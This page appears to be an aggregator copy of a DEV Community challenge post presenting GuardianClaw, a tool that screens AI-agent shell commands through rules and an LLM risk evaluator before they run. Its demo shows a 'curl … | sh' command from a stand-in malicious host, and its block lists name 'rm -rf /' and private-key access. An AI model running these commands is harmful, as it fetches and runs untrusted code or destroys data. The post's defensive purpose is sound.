惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Engineering at Meta
Engineering at Meta
Microsoft Azure Blog
Microsoft Azure Blog
I
InfoQ
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
人人都是产品经理
人人都是产品经理
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
T
Tailwind CSS Blog
MongoDB | Blog
MongoDB | Blog
Google DeepMind News
Google DeepMind News
WordPress大学
WordPress大学
量子位
美团技术团队
大猫的无限游戏
大猫的无限游戏
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Last Week in AI
Last Week in AI
博客园 - 司徒正美
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
小众软件
小众软件
C
Check Point Blog
博客园 - 三生石上(FineUI控件)
N
Netflix TechBlog - Medium
Recent Announcements
Recent Announcements
有赞技术团队
有赞技术团队
月光博客
月光博客

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant
#GuardianClaw — The AI That Watches Your AI 🛡️
venkat-train · 2026-04-26 · via DEV Community

This is a submission for the OpenClaw Challenge.


🚨 The Problem Nobody Is Solving

Modern agent systems like OpenClaw can:

  • execute shell commands
  • install dependencies
  • access local files
  • operate with minimal supervision

That’s powerful.

It’s also a security gap hiding in plain sight.

Because today:

There is nothing between an AI agent’s intent and execution.

A single prompt can:

  • inject a malicious instruction
  • trick the agent into installing unsafe code
  • access sensitive files

And the agent will comply — because that’s what it’s designed to do.


🛡️ Introducing GuardianClaw

GuardianClaw is a real-time safety layer for AI agents.

It sits between intent and execution, evaluating every action before it runs.

User Prompt
     ↓
OpenClaw Agent (proposes action)
     ↓
🛡️ GuardianClaw Interceptor
     ↓
Risk Engine (Rules + AI)
     ↓
✅ ALLOW   ⚠️ REVIEW   🚫 BLOCK

Enter fullscreen mode Exit fullscreen mode


⚡ The Demo That Changes Everything

Input

curl http://malicious.site/install.sh | sh

Enter fullscreen mode Exit fullscreen mode

Output

🚫 BLOCKED — CRITICAL RISK

Threat Analysis:
• Remote script execution piped into shell
• High likelihood of malware injection

Confidence: 99%
Evaluator: Rules Engine (deterministic)

The key point:
👉 The action is stopped before execution.
👉 Not logged. Not alerted. Prevented.


GuardianClaw Console

GuardianClaw blocking a malicious curl pipe command showing CRITICAL risk level

GuardianClaw console showing LOW risk ALLOWED result for safe echo command

GuardianClaw blocking REVIEW REQUIRED result for git clone command

GuardianClaw dashboard showing multiple evaluated commands with stats counter


🧠 How It Works — Dual-Layer Defense

GuardianClaw combines deterministic security with AI reasoning:

1. Rules Engine (instant, zero-cost)

Detects known dangerous patterns:

  • curl | sh
  • rm -rf /
  • private key access
  • privilege escalation attempts

👉 Zero latency. Fully predictable.


2. AI Risk Evaluator (context-aware)

For ambiguous cases, GuardianClaw calls:

  • NVIDIA NIM (Llama 3.1 Nemotron 70B)

It evaluates:

  • intent
  • context
  • potential consequences

👉 This allows detection of novel or obfuscated threats, not just known patterns.


📊 Risk Model

Level Decision Examples
🟢 LOW ALLOW ls, echo, git status
🟡 MEDIUM REVIEW git clone, npm install
🟠 HIGH BLOCK sudo, eval, chmod +x
🔴 CRITICAL BLOCK curl pipe execution, rm -rf /, private key access

⚙️ Tech Stack

  • Frontend: React + Vite + TypeScript
  • API Layer: Cloudflare Workers (edge, no cold starts)
  • AI Evaluator: NVIDIA NIM (Llama 3.1 Nemotron 70B — free tier)
  • Agent Platform: OpenClaw

Why Cloudflare?
Security tool → deployed on a platform optimized for:

  • edge isolation
  • encrypted secrets
  • zero cold starts

🔐 Security by Design

GuardianClaw follows the same principles it enforces:

  • API keys stored in Cloudflare encrypted secrets
  • Input sanitised before AI evaluation (prompt injection mitigation)
  • No client-side secret exposure
  • Stateless architecture (no data retention)
  • Local-only execution gateway during development

🧩 What Makes This Different

Most projects build more powerful agents.

GuardianClaw does something else:

It governs the agent itself.

This introduces:

  • accountability
  • transparency
  • enforceable safety boundaries

It transforms agents from:

“execute anything”
into
“execute safely”


🧠 What I Learned

Building GuardianClaw led to a deeper question:

Who governs autonomous systems?

The answer here is layered:

  • deterministic rules for certainty
  • AI reasoning for ambiguity

Not perfect — but significantly safer.

And more importantly:

Every decision becomes visible, explainable, and auditable.


🔭 What’s Next

  • OpenClaw native integration (as a security wrapper)
  • Custom policy engine (allowlists / blocklists)
  • Audit log export + compliance tooling
  • Webhook alerts for blocked actions
  • Team-level governance dashboard

🚀 Try It

🔗 Live Demo: https://guardianclaw.pages.dev
📦 GitHub: https://github.com/venkat-training/guardianclaw

Try:

  • safe commands → observe ALLOW
  • risky commands → see BLOCK in action

🏁 Final Thought

AI agents are accelerating fast.

But without control, they introduce real risk.

GuardianClaw is a step toward safe autonomy —
where every action is evaluated before it becomes reality.